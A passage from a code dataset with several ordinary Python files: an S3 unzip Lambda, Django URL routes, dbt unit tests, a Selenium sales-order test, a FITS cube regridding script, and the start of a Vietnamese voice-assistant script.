88, "usage_type": "attribute"}, {"api_name": "torch.stack", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 146, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 153, "usage_type": "attribute"}, {"api_name": "numpy.diag", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 155, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 156, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 158, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 159, "usage_type": "attribute"}, {"api_name": "numpy.diag", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 162, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 163, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 175, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 176, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 189, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}]} +{"seq_id": "154428738", "text": "import json\nimport boto3\nfrom io import BytesIO\nimport zipfile\n\ndef lambda_handler(event, context):\n s3_resource = boto3.resource('s3')\n source_bucket = event['Records'][0]['s3']['bucket']['name']\n target_bucket = source_bucket\n key_file = event['Records'][0]['s3']['object']['key']\n\n my_bucket = s3_resource.Bucket(source_bucket)\n\n zip_obj = s3_resource.Object(bucket_name=source_bucket, key=key_file)\n buffer = BytesIO(zip_obj.get()[\"Body\"].read())\n z = zipfile.ZipFile(buffer)\n for filename in z.namelist():\n file_info = z.getinfo(filename)\n try:\n response = s3_resource.meta.client.upload_fileobj(\n z.open(filename),\n Bucket=target_bucket,\n Key=f'{filename}'\n )\n except Exception as e:\n print(e)\n", "sub_path": "lambda.py", "file_name": "lambda.py", "file_ext": "py", "file_size_in_byte": 826, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "boto3.resource", "line_number": 7, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 15, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "124619413", "text": "from django.conf.urls import url\nfrom django.urls import path, include\nfrom . import views\n\nurlpatterns = [\n\n # indexes\n url(r'^$', views.index, name='blog_index'),\n url(r'^category/(?P\\d+)-(?P\\w+)/$', views.category, name='blog_category'),\n\n # archives\n url(r'^archive/(?P\\d{4})/$', views.archive_year, name='blog_archive_year'),\n url(r'^archive/(?P\\d{4})/(?P\\d{2})/$', views.archive_month, name='blog_archive_month'),\n url(r'^archive/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/$', views.archive_day,\n name='blog_archive_day'),\n\n # details\n url(r'^details/$', views.details,\n name='blog_details'),\n\n # youtube\n url(r'^youtube/$', views.youtube,\n name='blog_youtube'),\n\n # organizations\n url(r'^organizations/$', views.organizations,\n name='blog_organizations'),\n\n # ads_names\n url(r'^ads_names/$', views.ads_names,\n name='blog_ads_names'),\n\n # mail_naming\n url(r'^mail_naming/$', views.mail_naming,\n name='blog_mail_naming'),\n\n url(r'^upload/$', views.upload_file, name='upload'),\n\n url(r'^youtube_parser', views.youtube_parser, name='youtube_parser'),\n]\n", "sub_path": "BafosApp/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1464, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 26, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 30, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 34, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 37, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 39, "usage_type": "call"}]} +{"seq_id": "299914352", "text": "import unittest\nfrom unittest import mock\n\nfrom dbt.contracts.graph.parsed import ParsedModelNode, NodeConfig, DependsOn\nfrom dbt.context import parser, runtime\nfrom dbt.node_types import NodeType\nimport dbt.exceptions\nfrom .mock_adapter import adapter_factory\n\n\nclass TestVar(unittest.TestCase):\n def setUp(self):\n self.model = ParsedModelNode(\n alias='model_one',\n name='model_one',\n database='dbt',\n schema='analytics',\n resource_type=NodeType.Model,\n unique_id='model.root.model_one',\n fqn=['root', 'model_one'],\n package_name='root',\n original_file_path='model_one.sql',\n root_path='/usr/src/app',\n refs=[],\n sources=[],\n depends_on=DependsOn(),\n config=NodeConfig.from_dict({\n 'enabled': True,\n 'materialized': 'view',\n 'persist_docs': {},\n 'post-hook': [],\n 'pre-hook': [],\n 'vars': {},\n 'quoting': {},\n 'column_types': {},\n 'tags': [],\n }),\n tags=[],\n path='model_one.sql',\n raw_sql='',\n description='',\n columns={}\n )\n self.context = mock.MagicMock()\n\n def test_var_default_something(self):\n var = runtime.Var(self.model, self.context, overrides={'foo': 'baz'})\n self.assertEqual(var('foo'), 'baz')\n self.assertEqual(var('foo', 'bar'), 'baz')\n\n def test_var_default_none(self):\n var = runtime.Var(self.model, self.context, overrides={'foo': None})\n self.assertEqual(var('foo'), None)\n self.assertEqual(var('foo', 'bar'), None)\n\n def test_var_not_defined(self):\n var = runtime.Var(self.model, self.context, overrides={})\n\n self.assertEqual(var('foo', 'bar'), 'bar')\n with self.assertRaises(dbt.exceptions.CompilationException):\n var('foo')\n\n def test_parser_var_default_something(self):\n var = parser.Var(self.model, self.context, overrides={'foo': 'baz'})\n self.assertEqual(var('foo'), 'baz')\n self.assertEqual(var('foo', 'bar'), 'baz')\n\n def test_parser_var_default_none(self):\n var = parser.Var(self.model, self.context, overrides={'foo': None})\n self.assertEqual(var('foo'), None)\n self.assertEqual(var('foo', 'bar'), None)\n\n def test_parser_var_not_defined(self):\n # at parse-time, we should not raise if we encounter a missing var\n # that way disabled models don't get parse errors\n var = parser.Var(self.model, self.context, overrides={})\n\n self.assertEqual(var('foo', 'bar'), 'bar')\n self.assertEqual(var('foo'), None)\n\n\nclass TestParseWrapper(unittest.TestCase):\n def setUp(self):\n self.mock_config = mock.MagicMock()\n adapter_class = adapter_factory()\n self.mock_adapter = adapter_class(self.mock_config)\n self.wrapper = parser.DatabaseWrapper(self.mock_adapter)\n self.responder = self.mock_adapter.responder\n\n def test_unwrapped_method(self):\n self.assertEqual(self.wrapper.quote('test_value'), '\"test_value\"')\n self.responder.quote.assert_called_once_with('test_value')\n\n def test_wrapped_method(self):\n found = self.wrapper.get_relation('database', 'schema', 'identifier')\n self.assertEqual(found, None)\n self.responder.get_relation.assert_not_called()\n\n\nclass TestRuntimeWrapper(unittest.TestCase):\n def setUp(self):\n self.mock_config = mock.MagicMock()\n self.mock_config.quoting = {'database': True, 'schema': True, 'identifier': True}\n adapter_class = adapter_factory()\n self.mock_adapter = adapter_class(self.mock_config)\n self.wrapper = runtime.DatabaseWrapper(self.mock_adapter)\n self.responder = self.mock_adapter.responder\n\n def test_unwrapped_method(self):\n # the 'quote' method isn't wrapped, we should get our expected inputs\n self.assertEqual(self.wrapper.quote('test_value'), '\"test_value\"')\n self.responder.quote.assert_called_once_with('test_value')\n\n def test_wrapped_method(self):\n rel = mock.MagicMock()\n rel.matches.return_value = True\n self.responder.list_relations_without_caching.return_value = [rel]\n\n found = self.wrapper.get_relation('database', 'schema', 'identifier')\n\n self.assertEqual(found, rel)\n # it gets called with an information schema relation as the first arg,\n # which is hard to mock.\n self.responder.list_relations_without_caching.assert_called_once_with(\n mock.ANY, 'schema'\n )\n", "sub_path": "test/unit/test_context.py", "file_name": "test_context.py", "file_ext": "py", "file_size_in_byte": 4713, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "unittest.TestCase", "line_number": 11, "usage_type": "attribute"}, {"api_name": "dbt.contracts.graph.parsed.ParsedModelNode", "line_number": 13, "usage_type": "call"}, {"api_name": "dbt.node_types.NodeType.Model", "line_number": 18, "usage_type": "attribute"}, {"api_name": "dbt.node_types.NodeType", "line_number": 18, "usage_type": "name"}, {"api_name": "dbt.contracts.graph.parsed.DependsOn", "line_number": 26, "usage_type": "call"}, {"api_name": "dbt.contracts.graph.parsed.NodeConfig.from_dict", "line_number": 27, "usage_type": "call"}, {"api_name": "dbt.contracts.graph.parsed.NodeConfig", "line_number": 27, "usage_type": "name"}, {"api_name": "unittest.mock.MagicMock", "line_number": 44, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 44, "usage_type": "name"}, {"api_name": "dbt.context.runtime.Var", "line_number": 47, "usage_type": "call"}, {"api_name": "dbt.context.runtime", "line_number": 47, "usage_type": "name"}, {"api_name": "dbt.context.runtime.Var", "line_number": 52, "usage_type": "call"}, {"api_name": "dbt.context.runtime", "line_number": 52, "usage_type": "name"}, {"api_name": "dbt.context.runtime.Var", "line_number": 57, "usage_type": "call"}, {"api_name": "dbt.context.runtime", "line_number": 57, "usage_type": "name"}, {"api_name": "dbt.contracts.graph.parsed.exceptions", "line_number": 60, "usage_type": "attribute"}, {"api_name": "dbt.contracts.graph.parsed", "line_number": 60, "usage_type": "name"}, {"api_name": "dbt.context.parser.Var", "line_number": 64, "usage_type": "call"}, {"api_name": "dbt.context.parser", "line_number": 64, "usage_type": "name"}, {"api_name": "dbt.context.parser.Var", "line_number": 69, "usage_type": "call"}, {"api_name": "dbt.context.parser", "line_number": 69, "usage_type": "name"}, {"api_name": "dbt.context.parser.Var", "line_number": 76, "usage_type": "call"}, {"api_name": "dbt.context.parser", "line_number": 76, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 82, "usage_type": "attribute"}, {"api_name": "unittest.mock.MagicMock", "line_number": 84, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 84, "usage_type": "name"}, {"api_name": "mock_adapter.adapter_factory", "line_number": 85, "usage_type": "call"}, {"api_name": "dbt.context.parser.DatabaseWrapper", "line_number": 87, "usage_type": "call"}, {"api_name": "dbt.context.parser", "line_number": 87, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 100, "usage_type": "attribute"}, {"api_name": "unittest.mock.MagicMock", "line_number": 102, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 102, "usage_type": "name"}, {"api_name": "mock_adapter.adapter_factory", "line_number": 104, "usage_type": "call"}, {"api_name": "dbt.context.runtime.DatabaseWrapper", "line_number": 106, "usage_type": "call"}, {"api_name": "dbt.context.runtime", "line_number": 106, "usage_type": "name"}, {"api_name": "unittest.mock.MagicMock", "line_number": 115, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 115, "usage_type": "name"}, {"api_name": "unittest.mock.ANY", "line_number": 125, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 125, "usage_type": "name"}]} +{"seq_id": "184701090", "text": "import unittest\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.support.ui import Select\n\nfrom selenium.common.exceptions import NoAlertPresentException\n\nusr =\"kantar\"\npwd = \"fisherman\"\nurl = \"http://zerp6-sandbox:8069/web/webclient/home\"\n\n# Define global var for further validation\nref_num = None\ninvoice_date = None\ncustomer_name = None\n#salesman = None\n\nclass CreatePO(unittest.TestCase):\n \"\"\"\n This is a test case to create a workflow to create a sales order\n partially using the webdriver library\n \"\"\"\n\n def setUp(self):\n \"\"\"\n Set up the necessary dependencies to process the workflow\n \"\"\"\n\n # Create an instance for firefox\n self.driver = webdriver.Firefox()\n # Navigate to the desire openerp web server for testing\n driver = self.driver\n driver.get(url)\n driver.window_handles\n\n #print \"Navigated to the web!!!\"\n\n # Use implicitly wait till the elements get loaded up\n driver.implicitly_wait(2)\n\n # Find the username field and input the login name\n elem = driver.find_element_by_name(\"login\")\n elem.send_keys(usr)\n #print \"Login name is input and sent!!!\"\n\n # Find the password field and input the password\n elem = driver.find_element_by_name(\"password\")\n elem.send_keys(pwd)\n #print \"Login password is input!!!\"\n\n # Find the submit button and click\n driver.find_element_by_name(\"submit\").click()\n #print \"Login info is sent!!!\"\n\n # Use implicitly wait till the DOM gets loaded up\n driver.implicitly_wait(4)\n\n # Find the SALES icon and click it\n driver.find_element_by_xpath(\"/html/body/table/tbody/tr[1]/td/div[2]/table/tbody/tr/td[1]/a\").click()\n # Click the Sales Orders on the left column\n driver.find_element_by_xpath(\"/html/body/table/tbody/tr[2]/td/table/tbody/tr/td[1]/div[2]/div[1]/a[3]/span\").click()\n # Have to let the browser sleep for a while, otherwise it will break\n # implicit and explicit wait do not work here\n time.sleep(2)\n\n\n\n\n def test_so(self):\n \"\"\"\n This function to create a sales order by entering info Customer under\n Sales Order Tab, Product info under Sales Order lines\n \"\"\"\n\n # Define global var to be used in the later function\n global ref_num, invoice_date, customer_name, salesman\n driver = self.driver\n\n # Click Create button to bring up the popup window\n driver.find_element_by_xpath(\"/html/body/table/tbody/tr[2]/td/table/tbody/tr/td[2]/div/div/table/tbody/tr[2]/td[1]/div[4]/div/table/thead/tr[1]/th/table/tbody/tr/td/button[1]\").click()\n #print \"Navigate to create sales order page!!!\"\n\n driver.implicitly_wait(4)\n # Choose Customer in the Sales Order Tab\n driver.find_element_by_css_selector(\"span.oe-m2o-drop-down-button > img\").click()\n # Choose 1ST CHOICE AV as a customer\n driver.find_element_by_xpath(\"/html/body/ul[3]/li[2]/a\").click()\n\n # Disable the popup windows. Since this popup window is part\n # of the page, we will just use the unique identifier to\n # close the window\n driver.find_element_by_css_selector(\"span.ui-icon-closethick\").click()\n\n driver.implicitly_wait(4)\n # Get the Order Ref, Date, Customer Name for later validation\n ref = driver.find_element_by_xpath(\"/html/body/table/tbody/tr[2]/td/table/tbody/tr/td[2]/div/div/table/tbody/tr[2]/td[1]/div[5]/div/table/tbody/tr[1]/td/table/tbody/tr/td[1]/table/tbody/tr[1]/td[2]/input\")\n ref_num = ref.get_attribute(\"value\")\n date = driver.find_element_by_xpath(\"/html/body/table/tbody/tr[2]/td/table/tbody/tr/td[2]/div/div/table/tbody/tr[2]/td[1]/div[5]/div/table/tbody/tr[1]/td/table/tbody/tr/td[1]/table/tbody/tr[1]/td[4]/div[2]/input[2]\")\n invoice_date = date.get_attribute(\"value\")\n customer = driver.find_element_by_xpath(\"/html/body/table/tbody/tr[2]/td/table/tbody/tr/td[2]/div/div/table/tbody/tr[2]/td[1]/div[5]/div/table/tbody/tr[2]/td/div[1]/table/tbody/tr[1]/td[2]/table/tbody/tr/td[1]/input\")\n customer_name = customer.get_attribute(\"value\")\n\n\n # Wait till the element loads up\n driver.implicitly_wait(4)\n\n # Click create button in Sales Order Lines section\n driver.find_element_by_xpath(\"/html/body/table/tbody/tr[2]/td/table/tbody/tr/td[2]/div/div/table/tbody/tr[2]/td[1]/div[5]/div/table/tbody/tr[2]/td/div[1]/table/tbody/tr[6]/td/table/tbody/tr/td[1]/div[2]/div/table/thead/tr[1]/th/table/tbody/tr/td/button\").click()\n\n driver.implicitly_wait(4)\n # Click product dropdown field\n driver.find_element_by_xpath(\"(//img[contains(@src,'http://zerp6-sandbox:8069/web/static/src/img/down-arrow.png')])[9]\").click()\n driver.implicitly_wait(1)\n # Choose [0008] Potentiometer, 10K, straight, threaded\n driver.find_element_by_xpath(\"/html/body/ul[11]/li[1]/a\").click()\n\n driver.implicitly_wait(2)\n # Click Save & Close\n #driver.find_element_by_xpath(\"/html/body/div[12]/div[2]/div/div/div/div[1]/button[2]\").click()\n driver.find_element_by_css_selector(\".oe_selectcreatepopup-form-save\").click()\n\n driver.implicitly_wait(1)\n # Finally click save to finish the order\n driver.find_element_by_css_selector(\".oe_form_button_save\").click()\n #print \"SO is created and saved!!!\"\n\n\n #print ref_num, invoice_date, customer_name, usr.title()\n\n # Find the SALES icon and click it\n driver.find_element_by_xpath(\"/html/body/table/tbody/tr[1]/td/div[2]/table/tbody/tr/td[1]/a\").click()\n # Click the Sales Orders on the left column\n driver.find_element_by_xpath(\"/html/body/table/tbody/tr[2]/td/table/tbody/tr/td[1]/div[2]/div[1]/a[3]/span\").click()\n\n driver.implicitly_wait(4)\n # Check the SO number is presented in the first row of the list\n try: self.assertEqual(ref_num, driver.find_element_by_css_selector(\"td.oe-field-cell\").text)\n except AssertionError as e: self.verificationErrors.append(str(e))\n\n # Check the invoice date is the current one\n try: self.assertEqual(invoice_date, driver.find_element_by_xpath(\"/html/body/table/tbody/tr[2]/td/table/tbody/tr/td[2]/div/div/table/tbody/tr[2]/td[1]/div[4]/div/table/tbody/tr[1]/td[3]\").text)\n except AssertionError as e: self.verificationErrors.append(str(e))\n\n # Check the customer is the same as the one we just created\n try: self.assertEqual(customer_name, driver.find_element_by_xpath(\"/html/body/table/tbody/tr[2]/td/table/tbody/tr/td[2]/div/div/table/tbody/tr[2]/td[1]/div[4]/div/table/tbody/tr[1]/td[4]\").text)\n except AssertionError as e: self.verificationErrors.append(str(e))\n\n\n\n def tearDown(self):\n \"\"\"\n Shut down the FF driver\n \"\"\"\n self.driver.close()\n\nif __name__ == \"__main__\":\n unittest.main()\n self.assertTrue(self.is_order_present(By.TAG_NAME, \"body\"))", "sub_path": "web/create_so.py", "file_name": "create_so.py", "file_ext": "py", "file_size_in_byte": 7320, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "unittest.TestCase", "line_number": 23, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 35, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 35, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 69, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 162, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.TAG_NAME", "line_number": 163, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 163, "usage_type": "name"}]} +{"seq_id": "53556666", "text": "import numpy as np\nfrom astropy.io import fits\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom astropy.io.fits import getheader\nfrom scipy.interpolate import griddata\nfrom copy import copy\n\"\"\"\n\n# To regrid by simply dividing the pixels in halves keeping the same values\n\ndef halfbin_regrid(array):\n '''\n function to regrid an array to\n half the bin size with no interpolation\n at all\n '''\n\n outKsz1=array.shape[0]*2\n outKsz2=array.shape[1]*2\n newarray=np.zeros((outKsz1,outKsz2))\n for i in range(newarray.shape[0]):\n for j in range(newarray.shape[1]):\n newarray[i,j]=array[np.int(np.round((i-0.5)/2.)),np.int(np.round((j-0.5)/2.))]\n\n return newarray\n\ndef halfbin_regrid_cube(cube,flux=False):\n '''\n function to regrid a cube to\n half the bin size with no interpolation\n at all\n '''\n cube2=cube.tolist()\n for i in range(len(cube)):\n\n cube2[i]=halfbin_regrid(cube[i].copy())\n if flux==True:\n \t cube2[i]=cube2[i]*np.sum(cube[i])/np.sum(cube2[i])\n\n cube2=np.array(cube2)\n\n return cube2\n\npath = \"/Users/jespejosalcedo/Dropbox/PhD/My_AM_code/Gaussian_fit/COS4_08515\"\n\n#load the KMOS3D datacube\nkmos_02 = fits.open(f\"{path}/COS4_08515_K.fits\")[1].data\nkmos_02[np.isnan(kmos_02)] = 0\n\n#kmos_005 = fits.open(f\"{path}/COS4_08515_005.fits\")[0].data\n\n#regrid the cube, with *rough* flux conservation\nkmos_01 = halfbin_regrid_cube(kmos_02.copy(),flux=False) # Regrid to 0.1\"/pix\nkmos_005 = halfbin_regrid_cube(kmos_01.copy(),flux=False) # Regrid to 0.05\"/pix\n\nhdr = fits.Header()\nhdr = getheader(f\"{path}/COS4_08515_K.fits\",1)\nhduprim = fits.PrimaryHDU(data=kmos_005,header=hdr)\nhdul = fits.HDUList([hduprim])\nhdul.writeto(f'{path}/COS4_08515_005.fits', overwrite=True)\n\"\"\"\n\n# To regrid by using cubic scpline interpolation on the datacube\n\npath = \"/Users/jespejosalcedo/Dropbox/PhD/My_AM_code/Gaussian_fit/GS4_29868\"\n\n#load the KMOS3D datacube\nkmos_02 = fits.open(f\"{path}/GS4_29868_K.fits\")[1].data\nkmos_02[np.isnan(kmos_02)] = 0\n\ntrial = kmos_02[682]\n\nprint(trial.shape)\n\nx = np.linspace(0,trial.shape[1],trial.shape[1])\ny = np.linspace(0,trial.shape[0],trial.shape[0])\nX, Y = np.meshgrid(x,y)\n\nprint(X.shape)\nprint(Y.shape)\n\nx = np.linspace(0,trial.shape[1],4*trial.shape[1])\ny = np.linspace(0,trial.shape[0],4*trial.shape[0])\nXi, Yi = np.meshgrid(x,y)\n\nprint(Xi.shape)\nprint(Yi.shape)\n\nkmos_005 = np.empty([len(kmos_02),4*trial.shape[0],4*trial.shape[1]])\nprint(kmos_005.shape)\nfor i in range(len(kmos_02)):\n kmos_005[i] = griddata((X.ravel(),Y.ravel()),kmos_02[i].ravel(), (Xi, Yi), method='cubic')\n\ngrid_z2 = griddata((X.ravel(),Y.ravel()),trial.ravel(), (Xi, Yi), method='cubic')\n\nfig, (ax1,ax2) = plt.subplots(figsize=(8,4),ncols=2)\n\nplot = ax1.imshow(trial, cmap=mpl.cm.RdYlBu_r, interpolation='none', origin='lower')\nfig.colorbar(plot, ax=ax1)\n\nplot = ax2.imshow(grid_z2, cmap=mpl.cm.RdYlBu_r, interpolation='none', origin='lower')\nfig.colorbar(plot, ax=ax2)\nplt.show()\n\nhdr = fits.Header()\nhdr = getheader(f\"{path}/GS4_29868_K.fits\",1)\nhduprim = fits.PrimaryHDU(data=kmos_005,header=hdr)\nhdul = fits.HDUList([hduprim])\nhdul.writeto(f'{path}/GS4_29868_005.fits', overwrite=True)\n", "sub_path": "Gaussian_fit/GS4_29868/regrid_cubes_full.py", "file_name": "regrid_cubes_full.py", "file_ext": "py", "file_size_in_byte": 3218, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "astropy.io.fits.open", "line_number": 69, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 69, "usage_type": "name"}, {"api_name": "numpy.isnan", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 90, "usage_type": "call"}, {"api_name": "scipy.interpolate.griddata", "line_number": 93, "usage_type": "call"}, {"api_name": "scipy.interpolate.griddata", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.cm", "line_number": 99, "usage_type": "attribute"}, {"api_name": "matplotlib.cm", "line_number": 102, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "astropy.io.fits.Header", "line_number": 106, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 106, "usage_type": "name"}, {"api_name": "astropy.io.fits.getheader", "line_number": 107, "usage_type": "call"}, {"api_name": "astropy.io.fits.PrimaryHDU", "line_number": 108, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 108, "usage_type": "name"}, {"api_name": "astropy.io.fits.HDUList", "line_number": 109, "usage_type": "call"}, {"api_name": "astropy.io.fits", "line_number": 109, "usage_type": "name"}]} +{"seq_id": "538292914", "text": "import os\nimport playsound\nimport speech_recognition as sr\nimport time\nimport sys\nimport ctypes\nimport wikipedia\nimport datetime\nimport json\nimport re\nimport webbrowser\nimport smtplib\nimport requests\nimport urllib\nimport urllib.request as urllib2\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom time import strftime\nfrom gtts import gTTS\nfrom youtube_search import YoutubeSearch\nimport pyttsx3\n\nwikipedia.set_lang('vi')\nlanguage = 'vi'\n\n\n# path = ChromeDriverManager().install()\n\n# chuyển văn bản thành âm thanh\ndef speak(text):\n print(\"Trợ Lý ảo: \", text)\n\n engine = pyttsx3.init()\n voices = engine.getProperty('voices')\n rate = engine.getProperty('rate')\n volume = engine.getProperty('volume')\n engine.setProperty('volume', volume - 0.0) # tu 0.0 -> 1.0\n engine.setProperty('rate', rate - 50)\n engine.setProperty('voice', voices[1].id)\n engine.say(text)\n engine.runAndWait()\n\n\n # tts = gTTS(text=text, lang=\"vi\", slow=False)\n # tts.save(\"sound.mp3\")\n # playsound.playsound(\"sound.mp3\", True)\n # os.remove(\"sound.mp3\")\n\n\n# chuyển giọng nói thành văn bản\ndef get_audio():\n ear_robot = sr.Recognizer()\n with sr.Microphone() as source:\n print(\"Trợ Lý Ảo: Đang nghe ! -- __ -- !\")\n\n ear_robot.pause_threshold = 4\n audio = ear_robot.listen(source )\n # audio = ear_robot.listen(source, phrase_time_limit=5)\n try:\n text = ear_robot.recognize_google(audio, language=\"vi-VN\")\n print(\"Tôi: \", text)\n return text\n except:\n print(\"Trợ Lý Ảo: Lỗi Rồi ! ... !\")\n return 0\n\n\ndef get_audio_2():\n ear_robot = sr.Recognizer()\n with sr.Microphone() as source:\n ear_robot.pause_threshold = 2\n print(\"Đang nghe ===========================\")\n audio = ear_robot.listen(source)\n try:\n text = ear_robot.recognize_google(audio, language=\"vi-VN\")\n except:\n speak(\"Nhận dạng giọng nói thất bại. Vui lòng nhập lệnh ở dưới\")\n text = input(\"Mời nhập: \")\n return text.lower()\n\n\ndef stop():\n speak(\"Hẹn gặp lại sau nha ! ... \")\n\n\ndef get_text():\n for i in range(3):\n text = get_audio()\n if text:\n return text.lower()\n elif i < 2:\n speak(\"Trợ Lý Ảo không nghe rõ bạn nói. Vui lòng nói lại nha !\")\n time.sleep(3)\n stop()\n return 0\n\n\ndef hello(name):\n day_time = int(strftime('%H'))\n if 0 <= day_time < 11:\n speak(f\"Chào bạn {name}. Chúc bạn buổi sáng tốt lành.\")\n elif 11 <= day_time < 13:\n speak(f\"Chào bạn {name}. Chúc bạn có một buổi trưa thật vui vẻ.\")\n elif 13 <= day_time < 18:\n speak(f\"Chào bạn {name}. Chúc bạn buổi chiều vui vẻ.\")\n elif 18 <= day_time < 22:\n speak(f\"Chào bạn {name}. Tối rồi, Bạn đã cơm nước gì chưa ?\")\n elif 22 <= day_time <= 23:\n speak(f\"Chào Bạn {name}. Muộn rồi bạn nên đi nghủ sớm nha.\")\n else:\n speak(f\"Thời gian bên tôi chưa đúng hoặc gặp lỗi. Bạn nên xem lại nha.\")\n\n\ndef get_time(text):\n now = datetime.datetime.now()\n if 'giờ' in text:\n speak(f\"Bây giờ là {now.hour} giờ {now.minute} phút {now.second} giây\")\n elif \"ngày\" in text:\n speak(f\"hôm nay là ngày {now.day} tháng {now.month} năm {now.year}\")\n else:\n speak(\"Lý Hành chưa hiểu ý bạn.\")\n\n\ndef open_application(text):\n if \"google\" in text:\n speak(\"Mở Google Chrome\")\n os.system(\"C:\\\\Users\\\\ASUS\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\")\n elif \"word\" in text:\n speak(\"Mở Microsoft Word\")\n os.system(\"C:\\\\Users\\\\ASUS\\\\Desktop\\\\Word.lnk\")\n elif \"cốc cốc\" in text:\n speak(\"Mở Cốc Cốc\")\n os.system(\"C:\\\\Users\\\\ASUS\\\\AppData\\\\Local\\\\CocCoc\\\\Browser\\\\Application\\\\browser.exe\")\n else:\n speak(\"Ứng dụng chưa cài đặt. 